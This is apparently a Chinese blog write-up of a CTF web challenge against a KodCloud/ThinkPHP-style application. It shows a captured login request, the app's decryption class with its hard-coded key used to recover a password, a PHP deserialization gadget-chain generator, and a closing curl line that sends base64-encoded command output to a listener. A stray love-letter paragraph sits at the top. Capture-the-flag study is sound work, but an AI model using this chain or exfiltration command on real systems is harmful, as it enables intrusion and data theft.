或许,这封情书只是文字的表达,但我愿意将它寄予你,如同我内心深处对你的深深情感。希望你能感受到我的真挚,就如同我每一刻都在努力解读心灵密码一般。愿我们的故事能够继续,在这段感情的旅程中,我们共同书写属于我们的美好篇章。



POST /?user/index/loginSubmit HTTP/1.1
Host: 192.168.128.2
Content-Length: 162
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.128.2
Referer: http://192.168.128.2/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: kodUserLanguage=zh-CN; CSRF_TOKEN=xxx
Connection: close

name=guest&password=tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI&rememberPassword=0&salt=1&CSRF_TOKEN=xxx&API_ROUTE=user%2Findex%2FloginSubmit

hint: 新建文件

 提示我们和密码的加密有关,并且下面给了我们一个包,里面password猜测是可以登录的密码,需要考虑如何解密。因此重新回去看他的密码是如何加密的,给web狗一点小小的crypt震撼。

用到了mcrypt命令空间的decode方法,里面也存在encode方法,看样子不需要我们管代码逻辑,可以直接拿来用。

<?php


/*
* @link http://kodcloud.com/
* @author warlee | e-mail:kodcloud@qq.com
* @copyright warlee 2014.(Shanghai)Co.,Ltd
* @license http://kodcloud.com/tools/license/license.txt
*------
* 字符串加解密类;
* 一次一密;且定时解密有效
* 可用于加密&动态key生成
* demo:
* 加密:echo Mcrypt::encode('abc','123');
* 解密:echo Mcrypt::decode('9f843I0crjv5y0dWE_-uwzL_mZRyRb1ynjGK4I_IACQ','123');
*/

class Mcrypt
{
    public static $defaultKey = 'a!takA:dlmcldEv,e';

    /**
     * 字符加解密,一次一密,可定时解密有效
     *
     * @param string $string 原文或者密文
     * @param string $operation 操作(encode | decode)
     * @param string $key 密钥
     * @param int $expiry 密文有效期,单位s,0 为永久有效
     * @return string 处理后的 原文或者 经过 base64_encode 处理后的密文
     */
    public static function encode($string, $key = '', $expiry = 0, $cKeySet = '', $encode = true)
    {
        if ($encode) {
            $string = rawurlencode($string);
        }
        $ckeyLength = 4;

        $key = md5($key ? $key : self::$defaultKey); //解密密匙
        $keya = md5(substr($key, 0, 16));         //做数据完整性验证
        $keyb = md5(substr($key, 16, 16));         //用于变化生成的密文 (初始化向量IV)
        $cKeySet = $cKeySet ? $cKeySet : md5(microtime());
        $keyc = substr($cKeySet, -$ckeyLength);
        $cryptkey = $keya . md5($keya . $keyc);
        $keyLength = strlen($cryptkey);
        $string = sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
        $stringLength = strlen($string);

        $rndkey = array();
        for ($i = 0; $i <= 255; $i++) {
            $rndkey[$i] = ord($cryptkey[$i % $keyLength]);
        }

        $box = range(0, 255);
        // 打乱密匙簿,增加随机性
        for ($j = $i = 0; $i < 256; $i++) {
            $j = ($j + $box[$i] + $rndkey[$i]) % 256;
            $tmp = $box[$i];
            $box[$i] = $box[$j];
            $box[$j] = $tmp;
        }
        // 加解密,从密匙簿得出密匙进行异或,再转成字符
        $result = '';
        for ($a = $j = $i = 0; $i < $stringLength; $i++) {
            $a = ($a + 1) % 256;
            $j = ($j + $box[$a]) % 256;
            $tmp = $box[$a];
            $box[$a] = $box[$j];
            $box[$j] = $tmp;
            $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }
        $result = $keyc . str_replace('=', '', base64_encode($result));
        $result = str_replace(array('+', '/', '='), array('-', '_', '.'), $result);
        return $result;
    }

    /**
     * 字符加解密,一次一密,可定时解密有效
     *
     * @param string $string 原文或者密文
     * @param string $operation 操作(encode | decode)
     * @param string $key 密钥
     * @param int $expiry 密文有效期,单位s,0 为永久有效
     * @return string 处理后的 原文或者 经过 base64_encode 处理后的密文
     */
    public static function decode($string, $key = '', $encode = true)
    {
        $string = str_replace(array('-', '_', '.'), array('+', '/', '='), $string);
        $ckeyLength = 4;
        $key = md5($key ? $key : self::$defaultKey); //解密密匙
        $keya = md5(substr($key, 0, 16));         //做数据完整性验证
        $keyb = md5(substr($key, 16, 16));         //用于变化生成的密文 (初始化向量IV)
        $keyc = substr($string, 0, $ckeyLength);
        $cryptkey = $keya . md5($keya . $keyc);
        $keyLength = strlen($cryptkey);
        $string = base64_decode(substr($string, $ckeyLength));
        $stringLength = strlen($string);

        $rndkey = array();
        for ($i = 0; $i <= 255; $i++) {
            $rndkey[$i] = ord($cryptkey[$i % $keyLength]);
        }

        $box = range(0, 255);
        // 打乱密匙簿,增加随机性
        for ($j = $i = 0; $i < 256; $i++) {
            $j = ($j + $box[$i] + $rndkey[$i]) % 256;
            $tmp = $box[$i];
            $box[$i] = $box[$j];
            $box[$j] = $tmp;
        }
        // 加解密,从密匙簿得出密匙进行异或,再转成字符
        $result = '';
        for ($a = $j = $i = 0; $i < $stringLength; $i++) {
            $a = ($a + 1) % 256;
            $j = ($j + $box[$a]) % 256;
            $tmp = $box[$a];
            $box[$a] = $box[$j];
            $box[$j] = $tmp;
            $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }
        $theTime = intval(substr($result, 0, 10));
        $resultStr = '';
        if (($theTime == 0 || $theTime - time() > 0)
            && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)
        ) {
            $resultStr = substr($result, 26);
            if ($encode) {
                $resultStr = rawurldecode($resultStr);
            }
        }
        return $resultStr;
    }
}
$a = 'tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI';
$key = substr($a, 0, 5) . "2&$%@(*@(djfhj1923";
echo Mcrypt::decode(substr($a, 5), $key);

 提示要加上名字Chu0 

最终密码就是

!@!@!@!@NKCTFChu0 

根据提示在回收站看了新建文件

这个路由不能直接访问然后getshell, 我们考虑include进可以访问的页面。

在config.php下的__call方法能做到这一点,且大部分页面都会include config.php

不过这里有个坑,name的 值不能是 /var/www/html/data/files/shell,因为有个./是在当前目录下找的,要改成data/files/shell。

<?php
namespace think\process\pipes{
    class Windows{
        private $files;
        public function __construct($a)
        {
            $this->files = [$a];
        }
    }

}
namespace think{
    class Collection{
        protected  $items;
        public function __construct($a)
        {
            $this->items = $a;
        }

    }

}
namespace think{
    class View
    {
        protected $data = [];
        //满足call方法参数的要求
        public $engine = array("time"=>"10086","name"=>"data/files/shell");
        public function __construct($a)
        {
            //get魔术方法的参数是访问的不存在或不可访问的属性名
            $this->data = array('Loginout'=>$a);
        }
    }
}
namespace think{
    class Config{

    }
}

namespace think{
    //抽象方法不能实例化,所以需要找他的子类
    abstract class Testone{};
}
namespace think{
    //抽象方法不能实例化,所以需要找他的子类
    class Debug extends Testone{};
}
namespace {

    use think\Collection;

    use think\Config;
    use think\Debug;
    use think\process\pipes\Windows;
    use think\View;

//    $debug = new Debug();
//    $view = new View($debug);
    $config = new Config();
    $view = new View($config);
    $collection = new Collection($view);
    $windows = new Windows($collection);
    echo base64_encode(serialize($windows));
}

感觉代码就是这样了,但不知道为什么复现时死活执行不了,不管了。

流程就是虚拟机或者服务器监听端口

然后curl这个端口就行

curl  ip:6666/`ls /|base64`

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值